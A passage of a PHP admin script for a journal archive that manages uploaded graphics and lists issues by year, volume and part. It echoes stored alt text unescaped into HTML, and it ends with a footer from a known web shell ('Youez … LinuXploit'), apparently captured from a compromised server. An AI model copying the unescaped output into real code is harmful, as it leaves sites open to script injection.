echo <<<EOJ
		<input type="hidden" name="dataid" value="{$opt2}" readonly="readonly" />
		<div class="head">
			{$back}
			<input type="reset" value="reset" class="action" />
			<input type="submit" value="submit" class="action b" />
		</div>
		<div class="body">
			<div class="row phtml">
				<div class="row">
					<label class="flbl">Graphics File :<span class="fr">*</span></label>
					<input type="file" name="graphics[]" multiple="multiple" class="field field-file" style="width:88%" />
					<input type="button" value="Add More Graphics" id="addgraphics" class="action" style="float:right;width:11%" />
				</div>
				<div class="row">
					<label class="flbl">Alternative Text :<span class="fr">*</span></label>
					<div class="fluid">
						<textarea rows="25" cols="25" name="alt[]" multiple="multiple" id="editor" class="field"></textarea>
					</div>
				</div>
			</div>
			<div id="morefwrap" class="fluid"></div>
		</div>
		<div id="gwrap" class="fluid gwrap">
EOJ;
		$stmt = $mysqli->prepare("SELECT graphicsid, file, graphicsalt FROM graphics WHERE archivesid = ?") or die($mysqli->error);
		$stmt->bind_param('i', $opt2);
		$stmt->execute();
		$stmt->store_result();
		if($stmt->num_rows() > 0):
			$stmt->bind_result($graphicsid, $file, $graphicsalt);
			while($stmt->fetch()):
				if(($file && file_exists($graphicsuploadpath . $opt2 . '/' . $file))):
echo <<<EOJ
				<div class="graphics">
				<div class="fluid gbody"><img src="{$graphicsdir}{$opt2}/{$file}" alt="{$graphicsalt}" /></div>
				<div class="fluid gfoot">
				<input type="button" value="edit" class="action" onclick="gourl('editgraphics/{$opt2}:{$graphicsid}')" />
				<input type="button" value="" class="action ico delete" onclick="dopost('deletegraphics', '{$graphicsid}', 'Do you really want to delete?')" />
				</div>
				</div>
EOJ;
				endif;
			endwhile;
			$stmt->close();
		endif;
		echo '</div>';
	elseif(($opt1 === 'editgraphics' && $opt2)):
		$ids = explode(':', $opt2);
		$fid = $ids[0];
		$sid = $ids[1];
		$stmt = $mysqli->prepare("SELECT file, graphicsalt FROM graphics WHERE graphicsid = ?") or die($mysqli->error);
		$stmt->bind_param('i', $sid);
		$stmt->execute();
		$stmt->store_result();
		$count_rows = $stmt->num_rows();
		$stmt->bind_result($file, $graphicsalt);
		$stmt->fetch();
		$stmt->close();
		if($count_rows == 1):
			if(($file && file_exists($graphicsuploadpath . $fid . '/' . $file))):
				$graphics = '<img src="'.$graphicsdir.$fid.'/'.$file.'" alt="'.$graphicsalt.'" />';
			endif;
echo <<<EOJ
			<input type="hidden" name="paperid" value="{$fid}" readonly="readonly" />
			<input type="hidden" name="dataid" value="{$sid}" readonly="readonly" />
			<div class="head">
				{$back}
				<input type="reset" value="reset" class="action" />
				<input type="submit" value="submit" class="action b" />
			</div>
			<div class="body">
				<div class="row">
					<label class="flbl">Graphics File :</label>
					<input type="file" name="graphics" class="field field-file" />
				</div>
				<div class="row">
					<label class="flbl">Alternative Text :<span class="fr">*</span></label>
					<div style="float:left;width:100%;">
						<textarea rows="25" cols="25" name="alt" id="editor" class="field">{$graphicsalt}</textarea>
					</div>
				</div>
			</div>
			<div id="gwrap" class="fluid gwrap">
				<div class="graphics">
					<div class="fluid gbody">{$graphics}</div>
				</div>
			</div>
EOJ;
		else:
			die('Invalid data selection.');
		endif;
	else:
		echo 'Invalid option selection.';
	endif;
else:
	$stmt = $mysqli->prepare("SELECT * FROM $table") or die($mysqli->error);
	$stmt->execute();
	$stmt->store_result();
	$total_rows = $stmt->num_rows();
	$stmt->close();
echo <<<EOJ
	<div class="head">
		<input type="submit" value="download emails" class="action" onclick="setopt(this, 'download')" />
		<input type="button" value="create new" class="action g" onclick="gourl('add')" />
		<div class="fr"><b>Total Rows : {$total_rows}</b></div>
	</div>
	<div class="fluid archives">
EOJ;
		function countYP($year){
			global $mysqli, $table;
			$stmt = $mysqli->prepare("SELECT * FROM $table WHERE year = ?") or die($mysqli->error);
			$stmt->bind_param('s', $year);
			$stmt->execute();
			$stmt->store_result();
			$count_rows = $stmt->num_rows();
			$stmt->close();
			return str_pad($count_rows, 4, 0, STR_PAD_LEFT);
		}
		function countVIP($year, $volume, $issue){
			global $mysqli, $table;
			$stmt = $mysqli->prepare("SELECT * FROM $table WHERE (year = ? AND volume = ? AND issue = ?)") or die($mysqli->error);
			$stmt->bind_param('sii', $year, $volume, $issue);
			$stmt->execute();
			$stmt->store_result();
			$count_rows = $stmt->num_rows();
			$stmt->close();
			return str_pad($count_rows, 3, 0, STR_PAD_LEFT);
		}
		function countPP($year, $volume, $issue, $part){
			global $mysqli, $table;
			$stmt = $mysqli->prepare("SELECT * FROM $table WHERE (year = ? AND volume = ? AND issue = ? AND part = ?)") or die($mysqli->error);
			$stmt->bind_param('siis', $year, $volume, $issue, $part);
			$stmt->execute();
			$stmt->store_result();
			$count_rows = $stmt->num_rows();
			$stmt->close();
			return str_pad($count_rows, 3, 0, STR_PAD_LEFT);
		}
		function volis($year){
			global $mysqli, $table;
			$li = "";
			$stmt = $mysqli->prepare("SELECT volume, issue FROM $table WHERE year = ? GROUP BY volume, issue ORDER BY volume DESC, issue DESC") or die($mysqli->error);
			$stmt->bind_param('s', $year);
			$stmt->execute();
			$stmt->store_result();
			if($stmt->num_rows() > 0):
				$stmt->bind_result($volume, $issue);
				while($stmt->fetch()):
					$count = countVIP($year, $volume, $issue);
					$li .= '<li>Volume '.$volume.' Issue '.str_pad($issue,2,0,STR_PAD_LEFT).' <span> - ['.$count.']</span></li>';
					$li .= part($year, $volume, $issue);
				endwhile;
			endif;
			$stmt->close();
			return $li;
		}
		function part($year, $volume, $issue){
			global $mysqli, $table, $pageurl;
			$li = "";
			$stmt = $mysqli->prepare("SELECT part FROM $table WHERE (year = ? AND volume = ? AND issue = ?) GROUP BY part ORDER BY part ASC") or die($mysqli->error);
			$stmt->bind_param('sii', $year, $volume, $issue);
			$stmt->execute();
			$stmt->store_result();
			if($stmt->num_rows() > 0):
				$stmt->bind_result($part);
				while($stmt->fetch()):
					$url = $pageurl . '/list/' . $year . ':' . $volume . ':' . $issue . ':' . $part;
					$li .= '<li><a href="' . $url . '">Part ' . $part . ' <span> - [' . countPP($year, $volume, $issue, $part) . ']</span></a></li>';
				endwhile;
			endif;
			$stmt->close();
			return $li;
		}
		$stmt = $mysqli->prepare("SELECT year FROM $table GROUP BY year ORDER BY year ASC") or die($mysqli->error);
		$stmt->execute();
		$stmt->store_result();
		if($stmt->num_rows() > 0):
			$stmt->bind_result($year);
			echo '<ul class="fluid">';
			while($stmt->fetch()):
				echo '<li><div class="fluid">' . $year . ' ISSUES <span>- [' . countYP($year) . ']</span></div>';
				echo '<ul class="fluid">' . volis($year) . '</ul>';
				echo '</li>';
			endwhile;
			echo '</ul>';
		else:
			echo '<p class="fluid" style="margin:10px 0 20px;text-align:center">' . $emptyrows . '</p>';
		endif;
		$stmt->close();
echo <<<EOJ
	</div>
EOJ;
endif;
?>
<style>
.btn-control {
	margin-left: 10px;
    display: inline-block;
    font-weight: 400;
    line-height: 1.5;
    color: #212529 !important;
	font-weight: 500;
    text-align: center;
    text-transform: uppercase;
    vertical-align: middle;
    cursor: pointer;
    -webkit-user-select: none;
    -moz-user-select: none;
    user-select: none;
    background-color: #bbb !important;
    border: 1px solid transparent;
    padding: 0.375rem 0.75rem !important;
    font-size: 12px !important;
    border-radius: 0.25rem;
	text-decoration: none !important;
}
.table td input.form-control,.table td input.form-control:focus {
    display: inline-block;
    width: 100%;
    padding: 0.375rem 0.5rem !important;
    font-size: 12px !important;
    font-weight: 400;
    line-height: 1.5;
    color: #212529;
    background-color: #fff;
    background-clip: padding-box;
    border: 1px solid #ced4da !important;
    border-radius: 0.25rem;
	box-sizing: border-box;
}
</style>

Youez - 2016 - github.com/yon3zu
LinuXploit